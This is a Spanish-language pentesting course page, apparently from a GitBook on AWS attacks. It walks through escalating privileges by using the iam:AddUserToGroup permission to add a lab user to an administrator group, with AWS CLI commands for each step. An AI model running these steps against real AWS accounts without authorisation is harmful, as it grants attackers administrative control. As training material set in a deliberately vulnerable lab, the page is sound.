# AddUserToGroup

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con el permiso `iam:AddUserToGroup` puede utilizarlo para añadirse a un grupo IAM existente en la cuenta de AWS.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fsk8Ak05CjhYoufYrDjUs%2Fimage.png?alt=media&#x26;token=4991d9e5-99f3-4d7c-8f65-890d58c3ee7f" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FfeC2alHCVBYUXaacvydQ%2Fimage.png?alt=media&#x26;token=16de1e3c-1fac-4ac5-a9b0-5da44aaba2f5" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FFWTFXQAKnRFrEVi5El6W%2Fimage.png?alt=media&#x26;token=7a58f252-4802-49e2-96a6-c9275f1aa0fe" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

```
aws iam list-attached-user-policies --user-name privesc13-AddUserToGroup-user
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FcOR6LnK9qqHGO3ECUvaB%2Fimage.png?alt=media&#x26;token=44c8b579-efb3-4939-9215-1296b40198ba" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc13-AddUserToGroup --version-id v1
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FuqxdJ4k9DhuqA88vlGpM%2Fimage.png?alt=media&#x26;token=52e728c4-0df9-4787-b945-59d0aae3e1c4" alt=""><figcaption></figcaption></figure>

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc13-AddUserToGroup-role --role-session-name privesc13
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fe3tvb10ixl5qA6KhMEp5%2Fimage.png?alt=media&#x26;token=194f0ada-b6f0-45a6-89ee-0fafc9eaf510" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc13-AddUserToGroup-user**</mark>.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del [el-whoami-de-aws](https://books.spartan-cybersec.com/cpna/introduccion-a-aws/el-whoami-de-aws "mention")

Primero nos autenticamos:

```
aws configure --profile privesc13
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FhWvHOCgzbHNI1nr4wso4%2Fimage.png?alt=media&#x26;token=d6687083-0598-4be6-aa24-80ac5354056a" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
El token se especificará dentro del archivo plano de credenciales.
{% endhint %}

Y luego validamos con el whoami de AWS:

```
aws sts get-caller-identity --profile privesc13
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fe9Pbm7WnGWQ1zzp3CpRI%2Fimage.png?alt=media&#x26;token=4a3755d6-bbb7-4478-b93b-0bb05bc1c5ef" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener una salida vacía que indica que la adicción del usuario al grupo fue exitosa:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc13-AddUserToGroup-user --profile privesc13
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FlZK2VeO2xiCjdktkQ0xk%2Fimage.png?alt=media&#x26;token=41bedd54-f894-40e9-98fb-ffcd3be24fb2" alt=""><figcaption></figcaption></figure>

Si revisamos ahora podemos apreciar que el usuario inicial tiene privilegios de administrador:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FQrT1YnRX3RJwmjXszNal%2Fimage.png?alt=media&#x26;token=1bb5acab-ba2f-47fb-b3e7-9e57a3817b42" alt=""><figcaption></figcaption></figure>
